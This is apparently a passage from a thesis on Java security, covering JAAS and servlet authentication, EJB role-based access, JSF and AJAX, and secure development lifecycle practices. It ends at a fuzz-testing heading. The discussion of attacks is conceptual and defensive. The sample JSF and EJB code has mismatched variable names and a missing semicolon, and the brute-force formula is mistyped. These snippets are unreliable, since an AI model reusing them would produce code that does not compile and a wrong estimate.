5.7 Identity based Access control
Authentication or identity based access control is the process of verifying
the identity of external users of the system. This includes relating the
user identity by construction of a principal object to the requests of the
user. Following and using the results of authentication is the process of
authorization. Access to systems can be limited in two ways, either by
discretionary access control (DAC) or mandatory access control (MAC).
DAC is an approach to allow access to resource for specific discretionary
individuals. MAC is a role based approach checking the membership of
a user and determining access rights by combining the access rights of
a user by acquiring the access properties of the group objects a member
belongs to.
There are two usage areas of authentication in JAVA applications, when
dealing with servlets it is closely bound to the HTTP requests that the
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browser of a client transmits to the servlet container after login. The other
usage area is for protocols that do no provide personalization of requests
and transmission of principal information themselves, such as authoriza-
tion scenarios in stateful environments like application clients, applets
and enterprise beans that need to authenticate themselves towards other
services. The Java Authentication and Authorization Service (JAAS) (Sun
Microsystems, 2003d). A fundamental architectural design goal of JAAS
is to decouple authentication and application code, which prevents inter-
weaving and logical separation of security enforcement and business logic
layers.
As stated above a java.security.Principal represents a user and
his identification information inside a JAVA application, which is typically
a capsule for his name or otherwise known user identification. A physical
user may be bound to several principals. This 1:n relationship is reflected
by the java.security.Subject, which not only carries multiple princi-
pals it also holds the private and public credentials of a user. Credentials
are the proofs of privilege and identity of a user, typically a certificate or a
password.
To query identities EJB application servers typically utilize standardized
interfaces namely the JNDI (JAVA Name and Directory Interfaces). JNDI
provides wrappers for most common identity and service directory types
like CORBA CosNaming, RMIRegistry, DNS and the Lightweight Direc-
tory Access Protocol (LDAP).
Once a user is logged in, he is assigned a private credential storage
area that keeps track of his transaction context and credentials. Such
a storage area has a limited application dependent lifetime and is fol-
lowing the session security pattern (according see catalog of Yoder and
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Barcalow). For servlets, the credential information is associated to the
current HttpSession object.
5.7.1 Servlet Authentication mechanisms
To query the current user in a servlet or JSP (JAVA server pages are is
a special type of servlets resulting from transforming HTML pages with
embedded JAVA commands into servlets) the getUserPrincipal method
of the HTTPServletRequest is utilized. Sessions in HTTP are frequently
anonymous, therefore the identity call might return a null value.
The current user is also called the security-identity of an EJB (en-
terprise JAVA bean) session is queried with the getCallerPrincipal
method of the EJBContext class. When a servlet calls an enterprise bean
the results from these both methods must match to comply with the JEE
specification (Shannon, 2003).
When the JEE container is configured to support propagated user iden-
tities, the same principal object must be used in the entire set of beans
in the calling chain. Alternatively, JEE containers are also mandated by
the specification to support impersonated calls when run-as identity is
supplied in the deployment descriptor.
There are four types of authentication mechanisms usable by servlets to
identify a user. It is reflected in the getAuthType method of the |HTTP-
ServletRequest. These authentication types are:
Basic authentication is performed on the HTTP layer and needs a user
name and a password, which are queried by the web browser. After
performing a successful login, the login information is exchanged
in HTTP headers. The major shortcoming of basic authentication
is that the password is transmitted in clear text with every request.
There is no explicit logout with basic authentication, therefore there
is no mechanism to end a user session, and the browser has to be
closed to logout.
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Digest authentication is performed on the HTTP layer and does only trans-
mit a digest of the password. As with basic authentication the ses-
sion is destroyed only when the browser is closed.
Form-based authentication is performed without notice of the browser, as
the login page appears to the browser as a normal HTML page. The
information to identify the user is either transferred from a login
page via the CGI variables j_username and j_password. Conse-
quent requests typically do not send the password again. Moreover
they use a lookup data structure to access the session on the server,
such as a token. The token is transferred to the browser as a data
block that is kept in the browser. It is often referred to as a cookie,
or transferred with every request in an additional CGI parameter or
alternatively in a suffix to the URL string.
Tokens in cookies can be either transient and have to be renewed
for every session or are stored in the cookie storage of the browser.
Cookies that contain standard servlet session information are named
JSESSIONID. Permanent cookies may become a security risk as they
can be reused for replay attacks. On the other hand, URL suffixes
are recorded in proxies and browser histories and may provide in-
formation useful for replay attacks.
The shortcoming of this method is that username and password
as well as the consequently used token are transferred in clear text
when using HTTP as transport mechanism. With servlets compli-
ant to the servlet specification 2.4, an application server can close
the user session. The browser therefore does not have to be closed
to terminate the login session.
A customized variant of forms based login may also consider ad-
ditional CGI variables (such as transaction number) and may pro-
vide sophisticated but non-standard evaluation logic to evaluate the
transmitted credentials. As CGI variables are used for the sub-
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mission of credentials, forms based authentication should be per-
formed with the POST method to avoid replayable traces in the
browser cache or server log file.
Certicate Authentication is used on top of JSSE utilizing the SSL en-
hanced versions of the socket class in the javax.net.ssl package.
HTTP over SSL itself provides protection in terms of confidential-
ity (data cannot be sniffed) and integrity (as received data can be
decrypted is it identical to the data that was send). Both communi-
cation partners are provided can be provided with an additional level
of security through mutual authentication, although client authen-
tication requires an additional effort of deploying a (typically a X 509
type) certificate. Certificate provides the credentials instead of a
userid and password check. A servlet can use the attributes provided
by a certificate by querying the javax.servlet.request.X509Cer-
tificate attribute of the current HTTP request for extracting ad-
ditional credentials. This allows implementing custom additional
authentication functionality.
Whenever client authentication is not feasible or multi factor au-
thentication is required forms based authentication may be used.
Since data is encrypted via SSL, forms based authentication does not
disclose credentials on the transport channel. As transport over SSL
is more computing intensive due to the encryption process slower
response times should be expected. On the other hand, as HTTPS
is a stateful and private protocol between client and server in con-
trast to HTTP, therefore the risks of insecure cookie transmission
and storage do not apply.
5.7.2 JAAS
As stated earlier in the discussion, JAAS is an authentication method for
non-browser scenarios and decouples application logic from the used au-
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thentication method. JAAS follows the concept of pluggable authentica-
tion modules to allow administrators to adjust the level of authentication
and with it the technique used. The authentication technique is imple-
mented with a class that implements the LoginModule interface. JDK
1.4.x already provides LoginModule implementations for
• Common authentication sources like the identity providers of oper-
ating systems like Unix or Windows (NTLM)
• Platform independent Kerberos and LDAP and S/Key
• JAVA based identity providers such as JNDI and the JAVA keystore.
• Hardware based authentication such as smart cards
The indirections provided by JAAS are based on four components. These
components are distinct classes, which are listed as follows:
LoginContext is a class that is consulted by the server to query the current
Configuration and the installed LoginModules. After a successful
JAAS login a Subject object is attached to the current LoginContext
and queryable by the application.
Conguration holds the information, which LoginModules are installed
and the sequence and priority they are supposed to be processed.
LoginModule has been presented above. A concrete login event can pass
the methods provided by a login module (Sun Microsystems, 2003c).
A call to login starts the first phase of the login process. When mul-
tiple LoginModules are involved an additional two-phase-commit
step over all involved login modules is needed, which successfully
finished by calling the commit method. In the case of an unsuccess-
ful login the abort method is called. After performing all needed
user specific operations under the control of JAAS a user session
can be terminated by calling the logout method.
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Login Modules are configured in the JAAS configuration file and
may be attributed with a strategy setting: The required keyword
specifies that the Module must successfully provide credentials to
log the user in, parallel queried login mechanism in own LoginMod-
ules are not terminated. The requisite keyword provides the same
functionality but finishes other LoginModules immediately when
the current Module fails. Setting the sufficient keyword stops
authentication successful when this module succeeds, this setting
is useful for the authentication method with the highest level of se-
curity such as a LoginModule for X509 certificates. LoginModules
marked with optional do not have to finish successfully and do not
contribute to the login success.
Callback objects are needed to provide the needed credentials from the
application layer. These are registered by the application, and called
by JAAS when the appropriate credential is about to be queried.
For graphical applications, a DialogCallbackHandler can be used
whereas console applications may use the TextCallbackHandler to
acquire a username and password from the command line.
Impersonation and Delegation
JAAS performs the process of authentication to assign an identity when
performing actions. In delegation scenarios, identities are passed to other
runtime components or application, which means that a remote instance
performs actions on behalf of the current user and his credentials during
access checks. The motive for delegation is increased accountability as the
responsible identity can be assigned to the performed actions.
JAAS allows while performing the doAs method of the Subject class to
assign a responsible Subject instance. The PrivilegedAction that is
about to be performed is then executed with the identity and credentials
(bundled in the AccessControlContext class) of the alternative Subject.
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When the doAs call returns the current AccessControlContext is then
switched back to the original caller.
For implementing impersonation in remote scenarios, the security con-
text, which consists of credentials and trust providers, has to be transmit-
ted in addition to the application parameters during a method call. A
server application that uses the GSSAPI can utilize the GSSCredential
(Kerberos ticket) that is provided by the client to impersonate local actions
as well as calls to remote servers.
Applications based on requirements for role-based access control are
configurable with the JAAS-Krb5LoginModule. The existing Kerberos au-
thentication (typically on the operating system layer) is used to perform a
'silent authentication'. This means that it populates the users credentials
without re-challenging credentials, as they are already available via the
Kerberos login module from the underlying authentication framework.
Principal based access control
Principals represent the identity of a single user. The model of the JAVA
security policies reflects this by incorporating the Principal identifiers into
policy file syntax. Grants to resources based on principal information can
be assigned in addition to the grants that can be evaluated for on the base
of code access security. Before the execution of code sequences bracketed
in PrivilegedActions, the javax.security.DomainCombiner class com-
bines the active permissions to the current AccessControlContext. This
permission bundle is then passed to a doAs or doAsPrivileged method
call to evaluate the combined permission set for appropriate authoriza-
tion to execute the action. In the positive case the action is performed.
The doAsPrivileged method of the AccessControlContext can be passed
a null valued AccessControlContext, which is designed for server applica-
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tions that need to perform actions solely on the rights of the current user
without combining the rights of the server.
Role based Access
Business applications are often equipped with a role oriented process
model that assigns actions to actors. Actors can be grouped into multi-
ple groups. Whereas access control based on principals is following the
DAC approach, which lacks scalability and maintainability when the set of
users reaches a certain size, the design of role based systems avoids this
problem by assigning bundles of permission to abstract user roles.
JAAS does not provide role semantics for client applications, but these
can be emulated by assigning temporarily non-identity bound principal
objects to the current Subject instance. A role is then represented by an
implementation class. It not only implements the Principal interface
but also implements the implies method of the PrincipalComparator
interface. This allows evaluating the role membership of a Subject by
the implementation of this custom role class.
Web containers provide access checks based on role membership for serv-
lets and JSPs. Web resources, which are specified by URL patterns can be
protected via security roles. These map directly to the error-handling model
of HTTP. Users requesting authorization to access a protected resource
having wrong or unknown credentials receive a 403 (Forbidden) HTTP
error code. Users without any credentials receive a 401 (unauthorized)
HTTP error.
Enterprise JAVA beans have finer declarative semantics for expressing role
relationships. Role based declarations in the deployment descriptors of
EJBs allow mapping method permissions to the defined user roles. Meth-
ods can be excluded from access checks by defining unchecked tags in-
stead of role-names. Methods that are defined but should be not acces-
sible at all can be blocked by the deployer by listing them in an exclude-
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Figure 5.17: EJB security model
list. Beans can query their principal attributes by accessing their EJBCon-
text object. This is done with calling getCallerPrincipal. In addition,
the membership to a user role can be acquired by querying the boolean
isCallerInRole function. Figure 5.17 depicts the involved classes and
interfaces of the EJB security model.
5.8 JEE Web Applications
The Java Enterprise Edition is a specification that provides developers with
a wide range of technologies to design and implement applications that
supply non-functional requirements towards distributed systems (shown
in Chapter 2.2.5), such as reliability, security, scalability, extensibility,
manageability, maintainability, interoperability, composability and evolv-
ability.
Reliability is achievable by supporting failover-mechanisms and trans-
actional properties. Security in the context of JEE is supported by integrat-
ing authentication frameworks and role-based access control.
One of the design goals of JEE was to support not only web-based cli-
ents, but also end-user applications and special client types, such as non-
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interaction backend-systems. To compose a complete application the de-
veloper has to chose an appropriate subset of implementations that sat-
isfy the JEE requirements. For the application logic the specification pro-
vides Enterprise Java Beans (EJB), for data storage the Java Persistence
API (JPA), and Java Server Faces (JSF) to present the data to the end user.
As web applications are the predominant type of applications nowadays,
the web developer has the burden to additionally write glue code for the
generic, and not web-centric components.
Web-application frameworks solve this problem in a generic way as they
provide the necessary abstraction level for web developers whilst interfac-
ing and registering the necessary web components to the JEE foundation
within the server runtime. The next chapter presents a typical example of
this category, the Java Server Faces framework.
5.8.1 Java Server Faces
The Java Server Faces (JSF) specification is one of the advanced presenta-
tion options for JEE applications. It provides an abstraction from the phys-
ical rendering as by focusing on presentation components, which allow to
implement user interface that align to the MVC (Model, View, Controller)
approach.
The set of rendered presentational elements are named as View within
JSF. This is a tree-like structure containing the set of elements of the out-
putted page, which is generated when a user request is received.
Rendering pages in JSF follows a generic life cycle, having six phases:
1. Restore View, which generates a tree structure from the incoming
form fields
2. Apply Request Values, assigns the form values to the appropriate
JSF components
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Figure 5.18: JSF Lifecycle
3. Process Validation, each view is equipped with a set of validator ob-
jects that check whether the user input is valid
4. Update Model Values, if validation succeeded the user inputs a prop-
agated to the data model that is accessible by the application
5. Invoke application, invokes further going actions, such as process-
ing user controls like a search button
6. Render response, traverses the response view and inserts the values
generated by the application
A typical application may define a user interface as shown in Figure 5.19.
<h:form>
CustomerID:
<h:inputText value="\#{CRManagementJSF.ID}"> <p>
<h:commandButton value="Call Customer" action="#{CRManagementJSF .callCustomer}âĂİ> <p>
</h:form>
Figure 5.19: Defining user interface controls
The definition CRManagementJSF points to a JSF object. With this ob-
ject reference the framework will set the attribute id with the value of the
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submitted web form. The triggered method is defined as callCustomer().
This call forwards the request to the corresponding EJB method in Fig-
ure 5.20.
public class CRManagementJSF {
private String ID;
public void setID(String ID) {
this.ID = ID
}
public int callCustomer() {
Content c = new InitialContext();
CRManagement crmbean = (CRManagement) ctx.lookup(CRM_JNDI);
int res = bean.callBenutzer(ID);
return res;
}
}
Figure 5.20: Handling object lookups
The back end object is defined as illustrated in Figure 5.21:
@Stateful
@Name("crmanagement")
public class CustomerManagementBean implements CustomerManagement {
private String ID;
public void setiID(String id) {
this.ID = id;
}
@TransactionAttribute(MANDATORY)
@RolesAllowed(''customeragent'')
public int callCustomer (String custid) {
ID = Tools.findCustomerFromExternalID(custid);
int res = doCallCustomer(ID);
return res;
}
....
}
Figure 5.21: Back end object access
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5.8.2 Web Interaction with AJAX
Client-Server-communication scenarios via HTTP via servlets and JSPs as
shown in Chapter 5.1.4 had the structural weakness, that the information
in the HTTP session were the only means to capture the state of the web
application. These based on synchronous and coarse-grained requests,
which were triggered by web clients, such as browsers. Additionally valu-
able resources remain unused, as scalability features of server middleware
such as caching and concurrent processing were not exploited to the avail-
able potential.
The AJAX (Asynchronous JavaScript and XML) model is a new ap-
proach resolving the advanced requirements on interaction models for
web applications. Ajax changes the classic synchronous approach by re-
trieving content from servers in following an asynchronous communica-
tion. Data retrieval events are decoupled from the representation layer, a
technique that provides a less disturbing end-user experience as it avoids
performing reloads of the entire page.
Garrett (2005) claims that AJAX follows these key characteristics:
• JavaScript as implementation language
• Presentation based on the standards XHTML and CSS
• Back end data retrieval with the standardized XMLHttpRequest (XHR)
type
• XML serves as transport format and XSL transformation allow adapt-
ing data to varying presentation requirements
• Usage of DOM for dynamic manipulation of the retrieved data
Variations of these also fall under the AJAX characterization. They may
replace the XML data representation with JSON encoding or utilize an al-
ternative client-side programming language or replaces the AJAX engine
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in the browser with an alternative proxy program, not necessarily imple-
mented in JavaScript. The difference that enables the enhanced interac-
tion features is the Ajax engine in the client container, which is a proxy
within the web browser.
As well as the components of the request flow are differing, client-side
actions and server-side processing by mediation through the AJAX en-
gine, which is able to distinct between client-side GUI events and simple
data validations, which are processed by the engine itself, and data-centric
actions that are forwarded to the server back-end. The consequences in
the interaction model are depicted in Figure 5.22.
Security Mechanisms
The request flow and the involved components illustrate that the server-
side of Ajax applications has a similar attack surface as compared to tradi-
tional applications. A current underestimated security problem with Ajax
comes from the educational perspective of programmers, as an increased
number of publications promises a better-time-to-market perspective for
Ajax applications. The dangers of this strategy is emphasized by Hoffman
and Sullivan (2007). As Ajax relies on the foundations of the chosen im-
plementation platform, the appropriate strategy for a layer below attack
varies.
5.8.3 Conclusion
Ajax frameworks for JEE are typically built on top of JSF to re-use the
existing libraries as well as necessary functionality like state storage. The
case study in Chapter 9.1.6 shows how the use of JSF in Ajax-enabled JEE
clients allows compromising the security of a JEE installation.
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5.9 Summary
JAVA offers a wide range of solutions to support security goals such as
integrity and condentiality. Unfortunately, without custom coding it does
not provide audit logs or other proofs that can be used for non-repudiation
purposes. An approach to overcome this shortage could be an audit inter-
ceptor that intercepts security related requests and writes these requests
to a database.
As security mechanisms are as reliable the weakest part of the system,
vulnerabilities in the implementation allowing attacks from the layers be-
low to the JAVA trusted computing base are the main threat to JAVA secu-
rity. The infrastructural and coding antipatterns that lead to layer-below
attacks are presented in the next chapter.
6 A Security-aware Software Development Process
The results derived in this thesis need to be aligned within the broad view
of the industrial process to develop system or business software. The term
Software Development Process describes the transformation from a domain
specific concept to executable code. It starts with a requirements analy-
sis to collect the initial domain specific demands. The resulting software
product shall fulfill these.
We first describe the simple form of software lifecycle process to il-
lustrate a common structure for a broad range of development projects.
Software development processes typically consist of the following steps,
which applied in a natural order, as expressed by the disciplines of the
Unified Process (Hirsch, 2002):
• Business Modeling
• Requirements Management
• Analysis and Design
• Implementation
• Verification and Test
• Deployment
• Project Management
• Configuration and Change Management
• Environment
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With the collected requirements, the design phase analyzes the user
perspective. It is concerned with extracting the use cases from the re-
quirements. The use cases are often illustrated with the help of UML
(Object Management Group, 2001b) diagrams to define the dynamics and
architecture of the resulting system. Class and sequence diagrams are
the foundation for the implementation phase, which transforms the ab-
stract model into program code, implemented with an appropriate pro-
gramming language.
After coding is completed, the major testing phase starts. Minor local
testing has typically already been performed during the implementation
phase. After the test phase is finished and the identified bugs are fixed,
the product is ready for shipping to the customer.
A traditional methodology to implement a software development pro-
cesses is the traditional waterfall model. In its simple form, it is a sequen-
tial workflow, from the analysis to the shipping phase. However, missing
feedback led to the introduction of iterative models. Their workflow steps
are no longer single sequenced, in contrast they allow iterating the en-
tire process. This is necessary to transport feedback between iterations,
from later to earlier steps to provide learning effects. Furthermore, it sup-
ports the inclusion of additional requirements whenever they appear as
the project progresses on the timescale. In the strict waterfall model, re-
quirements are manifested throughout the entire lifecycle once the design
phase is entered. This shortcoming was the motive to introduce iterations.
Iterations help on the one hand to provide an early prototype for demon-
stration purposes, which allows the client to get an impression. On the
other hand, they help to analyze the functional, and especially the non-
functional requirements in order to be fitted to the settings within the
environment to that the application will be exposed.
The Unified Process (UP) is an industry wide accepted standard to
support the functional side of a software project throughout the known
phases. However, it has shortcomings where non-functional requirements,
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such as security are addressed, as they are not included and forwarded in
the artifacts of the UP by default.
Steel (2005) extends the UP with a set of security workflow items. A re-
lated approach was introduced by Beznosov (2003), addressing the extreme
programming paradigm. Microsoft has defined their flavor of a secure de-
velopment process because of their trustworthy computing campaign.
The Secure UP model builds on these additional steps:
• Security Requirements
• Security Architecture
• Security Design
• Security Implementation
• White Box testing
• Black Box testing
• Monitoring
• Secure Auditing
6.1 Integrating security activities in the software
development process
Like other types of defects, it is cheap to eliminate bugs very close af-
ter they were introduced into the product. As long as the product is not
shipped, removal costs are relatively low. Nevertheless, once the product
is shipped, it becomes very expensive to remove the breaches. It is there-
fore desirable to remove flaws, design flaws or code bugs, functionality or
security defects as early as possible. In an iterative model, adding more re-
quirements or adjustment of incorrect requirements is better than adding
patches that only correct the effects of an incorrect design. Therefore, it is
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Figure 6.1: Cost per Defect
recommended to apply corrections as near to the requirements phase to
lower the total costs of the software project.
According to Hoo et al. (2001), the costs for removal of vulnerabilities
rise by the factor 9 when the bug is not found early in the implementation
phase but later when already deployed to the customer. This factor can be
explained by additional tasks such as design feedback, advisory composi-
tion, and other customer-directed services. Similar effects are presented
by Jones (1996).
The goals of incorporating security aspects in the software development
process can be summarized as follows:
• Cost reduction by moving the majority of flaws removal actions to
earlier phases within the project timeframe
• Fulfillment of security requirements is defined in alignment to the
product design. Security measures do not have to be retrofitted into
an unaware product
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• Propagation of security artifacts needs to be supported throughout
the product lifecycle. Security requirements determine the security
design, which itself influences the security architecture. The propa-
gation iterates through the remaining steps of the lifecycle
• Risk level are associated to the artifacts of software development to
derive priorities for the mitigation of flaws
Proactive integration of security in the software development process
starts in the requirements phase, according to Howard and Lipner (2006)
it is a recommendation at Microsoft to expose the programmer as early
as possible to security training, as long as analysts and designers are still
collecting requirements and design the functional and technical architec-
ture.
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Figure 6.2: A secure software development lifecycle
The type of security aspects change with the ongoing software develop-
ment process, they will be shown in these paragraphs:
6.2 Security in Business Modeling
In the business requirements phase the influential parameters are le-
gal restrictions, security constraints of the desired environments (BAFIN
(Bundesanstalt für Finanzdienstleistungsaufsicht), 1998) and special do-
main specific threats that endanger confidentiality, availability, and in-
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tegrity. A common threat modeling method is based on Attack Trees
(Schneier, 1999), which illustrates the interdependency between the causes
and the effects of a threat (see Chapter 2.1.12).
6.3 Security in the Requirements Management
The technical requirements phase defines the environmental constraints
for the resulting software system. This includes the non-functional re-
quirements such as Logging, Transactionality, and Security. During the
phase of defining technical requirements adequate security standards are
identified and aligned with the scope and usage environment of the appli-
cation. This may include the choice of architectural frameworks (such as
J2EE).
From a security perspective a set of security principles typically provides
the foundation for the security architecture.
In order to align the threat model and the system architecture a set of
security goals is defined. The Microsoft SDL defines these design goals
according to Howard and Lipner (2006):
• The application has a low attack surface
• The application uses the appropriate development best practices
• The application follows secure design best practices
• The threat models are complete and reflect how the system will de-
fend itself
• There is appropriate testing and test coverage
McGraw (2006) suggests interweaving the security perspective by defin-
ing abuse cases emulating an attacker that seeks to undermine the confi-
dentiality, integrity, and availability aspects of an application.
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Abuse cases are defined to serve as addition to the traditional use cases
that define the functional requirements of an application whereas abuse
cases illustrate potential security breaches.
6.4 Security in the Analysis and Design Phase
The design phase of software product aims to provide a functional and
technical architecture description. However, both perspectives have to ful-
fill the defined security requirements by following common design prin-
ciples.
6.4.1 Security Design Principles
Saltzer and Schroeder (1975) provide eight fundamental design principles
that apply to security mechanisms. These principles are based on the idea
of maintaining simplicity and restriction whilst supporting efficiency in
security enforcement. The following list shows these principles:
Least Privilege grants only the weakest and needed permission for a priv-
ileged action. Granting only the lowest permissions restricts the
potential danger of damage to the system caused by unprivileged at-
tackers. Following the Least Privilege principle directly relates to the
size of the Attack surface that is exposed to an attacker (Howard and
Lipner, 2006). In order to reduce the attack surface of an application
these aspects should be focused:
• Reducing the amount of code that executes by default
• Restricting the scope of who can access the code
• Restricting the scope of which identities can access the code
• Reducing the privilege of the code
Answering these questions prepare the subsequential decision for
attack surface reduction (ASR) sequence to be applied.
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Fail-safe defaults enforce to deny all requests as a default reaction. Only
documented exception to this rule get a qualified reply from the ap-
plication. This prioritizes system stability (and availability) over the
requirement to fulfill all user requirements. Fail-safe defaults dif-
fer for specific environments. Running a database in fail-safe mode
could also mean that only read access is granted.
Economy of mechanism aims to avoid unneeded complexity to limit the
attack surface. It prevents that complex security mechanisms be-
come themselves targets of attackers, because complex implemen-
tations are more error-prone than simple systems due to their larger
codebase. According to Howard and Lipner (2006), complex sys-
tems are more error-prone than software based on a simpler design.
Complexity measures such as those presented by McCabe and Wat-
son (1994) can provide hints where an attacker may cause harm. He
may compromise the availability of a system by triggering complex
functionality. We provide an example on this problem in the later
discussion.
Complete Mediation avoids the dangers of caching permissions and time
of check to time of use (TOCTOU) (Bishop and Dilger, 1996) differ-
ences. Cached permissions may allow an attacker to replay trans-
actions with modified data or exploit the time difference between
check and usage. A mediated processing includes checking whether
this user and his technical connection are still valid. Relying on
cached information shortcuts these checks and allows the depicted
replay vulnerabilities.
Open Design opposes security by obscurity (Schneier, 2002), which is the
case when hiding implementation details is used to block access to
private resources.
Industrial experiences like DeCSS (an independent reverse engi-
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neering of the CSS protection (Touretzky, 2000) for DVD media)
have shown, to which extent protected implementations will be tar-
getted to reverse engineering efforts by researchers and other profi-
cient programmers. Therefore, secrets are better protected by strong
cryptography, which is implemented with an open design, such as
usage of strong algorithms like AES (National Institute of Standards
and Technology (NIST), 2001) or SHA-1 (Eastlake 3rd and Hansen,
2006). This is also underlined by several aspects of Kerchhoffs Law
(Petitcolas, 2006):
• The system must be substantially, if not mathematically, un-
decipherable;
• The system must not require secrecy and can be stolen by the
enemy without causing trouble;
• The system must be portable, and its use must not require
more than one person;
• The system must be easy to use and must require neither stress
of mind nor the knowledge of a long series of rules.
Separation of privilege forbids authentication based on a single type of
credential. It merely needs two types of identity proof, which is
frequently referred to as a multi-factor-authentication. An instance is
the default authentication mechanism of Lotus Notes (Collins et al.,
1999). In the Notes mailing and groupware environment a user
needs an ID file equipped with his cryptographic key (possession)
in combination with his currently valid password (knowledge). The
ID is generated by the Notes PKI subsystem. Another example of
multi-factor authentication is the categorization of JAVA code into
protection domains. In this model permissions are granted depend-
ing on the signer, and the URL of the codebase where the remote
code is loaded from.
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Least common mechanism is a principle to prevent covert channels. It
states that in multi-user environments a minimum of resource shar-
ing should be exist between processes. Private Information can
leak to a lower confidentiality level by observing the commonly used
channels either directly or indirectly (by analyzing timing behavior).
Psychological Acceptancy means to balance the security goal with the ef-
fects of the chosen security mechanism. Password mechanisms are
a quite common authentication mechanism. Error messages pro-
viding too many details about the reasons of a login error are use-
ful for an attacker to infer further helpful information. Displaying
“Login failed” instead of “wrong password” does not reveal addi-
tional information to an attacker, whether his password guess was
successful. On the other hand, a detailed error message about the
reason of login failure does contribute to usability and user produc-
tivity.
Work factor analysis compares the risk, which is the combination of prob-
ability and follow-up costs of information compromise of the pro-
tected system, to the resources available to an attacker. For a brute-
force attack, on a password-based protection with alphanumeric en-
tries of length n, an attacker would need on average (36n)/2 at-
tempts to find the correct password from the outside. Cryptographic
keys can also be seen considered as generalized passwords. Due to
the complexity problem an attacker may choose to focus his attack
on the layers below (Gollmann, 1999) the password protection such
as the implementation or the hardware (Anderson, 1994). There-
fore, the attacker may observe the system answer times to indirectly
infer the key length.
Compromise recording saves the proof that an attack has actually hap-
pened. The recording step analyzes the target software and hard-
ware of the attack. It allows initiating recovery steps early in time
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and furthermore to check for and re-establish a secure system state.
Precautions such as append-only log mechanisms with appropriate
detail help to record forensic material about the compromise usable
in later legal actions against the attacker.
Once the architectural framework and programming language has been
chosen it is possible to restrict the choice of programming APIs, language
constructs. For a software developer a set of secure coding guidelines such
as those by Sun Microsystems (2002) is helpful to avoid the introduction of
programming antipatterns in the resulting program code. Having these
guidelines defined already at the end of the requirements phase allows
early training of the involved programmers.
6.4.2 Security in System Architecture design
In the architecture phase, the security requirements are distilled into a se-
curity architecture blueprint. The taken steps include an architectural risk
analysis (McGraw, 2006) to identify the conflicts between the goals func-
tionality, security and other non-functional requirements. A definition
of the priorities helps to achieve a decent trade-off. The security architec-
ture uses security patterns as building stones to address the requirements.
The architecture is focused on component granularity and threat model-
ing (Swiderski and Snyder, 2004) is concerned to prevent risks caused by
architectural flaws and environment induced vulnerabilities.
Decoupling the security and functional parts of the application will al-
low designing security features without impairing the functionality of the
system. This can be achieved by defining hardening concepts, zone lay-
outs and data classification. Because of secure design, a set of test patterns
for the state model of the application can also be derived. It is also help-
ful to define and design the metadata that is exported by the application
to contribute to intrusion detection and gather data as potential forensic
evidence.
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6.4.3 Security in Functionality Design
Several approaches exist integrating security into the functional design
perspective, the business risk McGraw (2006), formalized with the Se-
cureUML or similar (Lodderstedt et al., 2002; Jürjens, 2002), however se-
curity design tends to be more focused on the data perspective than on the
control-flow. The secure UP suggests to analysis of the involved factors,
application tiers and classification of the data items of an application by
labeling their security characteristics.
The technical solution to decouple security features from the functional
side of an application is the interceptor pattern (Schmidt et al., 2000).
Yoder and Barcalow (1998) introduced a fundamental set of security pat-
terns usable to mitigate common threats in beforehand in the architec-
tural phase. The architects may choose to introduce security patterns such
as Single-Sign-On. An extensive list of appropriate security patterns is
made available by Steel (2005).
6.5 Security during Test Plan Design
Functional and non-functional requirements are the foundation to design
test plans to verify the application code against the demands of the envi-
ronment and the customer. Whereas functional and architectural tests are
scanning for the completeness of a feature, security tests test for the lack
of security, as the perspective is switched to find a weak spot. Security tests
are therefore more than testing whether the encryption algorithms are in
a functional state. (McGraw, 2006) recommends integrating the behavior
of attackers and an evaluation of the associated risk into the test plans.
6.6 Security in the Implementation Phase
The implementation phase mainly deals with transforming the models of
the design phase to executable code. The component model derived in
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the architecture phase decouples the security from the functional parts.
Therefore, the security implementation can be performed by specially
trained programmers.
Code reviews are the mechanism in the implementation phase to de-
tect whether security problems reside in the code. Manual and automated
review may help to understand, evaluate, and possibly remove constructs
of programmers. Lack of time, lack of skill, and false assumptions about
the target environment may create coding antipatterns to solve a program-
ming task. This applies frequently to functional side but is also important
for the security side of the application, in terms of an increased attack
surface caused by careless programming.
The security core of an application extends the trusted computing base
(in addition to the security mechanisms of the layers below the applica-
tion such as the OS and the network stack), which means that every flaw
undermines the protection functionality of the total system.
Static analysis is an approach used to scan code for flaw patterns based
on certain criteria. To extract common bug patterns from program code
scanning tools may either scan source or executable code (Hovemeyer and
Pugh, 2004). Scanning source code may typically rely on more metadata
as scanning executable files, but does not catch details that are introduced
by the compiler. Optimizers and other transformation tools contribute
security related characteristics to the executable code.
Although timely located before the project start or early in the require-
ments phase, secure coding training contributes to success of the imple-
mentation phase in terms of the number of security related code defects,
the so called vulnerabilities. The demonstration of best practices helps
to avoid problematic coding style from the beginning. In addition, an
opposite approach with a more illustrative effect on the awareness of pro-
grammers can be helpful. By confronting the developer with antipatterns,
he gets a direct impression of the side effects of applying a suboptimal so-
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lution to a programming problem. This may impede also the protection
level of the application.
After identification of these suboptimal patterns, an important part of
secure programming is the ability to apply refactorings, to identity and
repair problematic code blocks with minimal impact to the functional part
(Fowler, 1999). An iterative software lifecycle model is necessary to apply
refactorings on a regular basis.
6.7 Security related Testing
After completion of parts or total of the implementation, the resulting
code has to be tested. The defined functional and non-functional test
cases are used to verify the correctness of the application. Applying spe-
cialized test types verifies the behavior of the application under heavy load,
or other causes that result in a limited availability resources. From a secu-
rity perspective the behavior and attack surface of the application during
exposure to unexpected input is observed by performing penetration tests.
Penetration tests can be subdivided in two categories:
6.7.1 White box penetration tests
Testing with full knowledge about the implementation allows rigid valida-
tion of the attack surface of an application. In this phase, static scanning
tools provide the testers with lists of candidates for vulnerabilities. Ad-
ditional automated tools such as fuzzing based or brute-force generators
provide a wide set of input values to test the stability of the code against
injected parameters. Whenever input values result in non-expected be-
havior, handcrafted exploit code is used to illustrate the impact of the code
flaw causing the bug. White box tests emulate the state of an attacker that
already gained privileged rights within an application. Therefore, they as-
sume that the attacker is able to gain extended internal knowledge about
the software functionality. This test also verifies, which types of internal
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attacks are feasible, because it also focuses how valid users are allowed to
elevate their granted rights.
6.7.2 Black box penetration tests
The range of internal knowledge about an application is the difference be-
tween penetrating using the black box or the white box approach. Black
box testers gain their knowledge by using pre-built tools, such as the
Metasploit (Moore, 2006) or the Webscarab framework (Dawes, 2004).
Typical bug patterns based on the exposure characteristics (such as a web
application) of the application are checked for their impact on the appli-
cation. Due to the missing internal view, only external observable effects
(information exposure, reaction time, etc.) are usable for the black box
tester to verify the existence of vulnerabilities within the code.
The goal of the black box test is to circumvent the protection of the
system and break into the system, and to find the “low-hanging fruit”
in the protection system of an application. Every vulnerable spot found
allows the attacker to extend the enlightenment about the application.
6.7.3 Fuzz testing
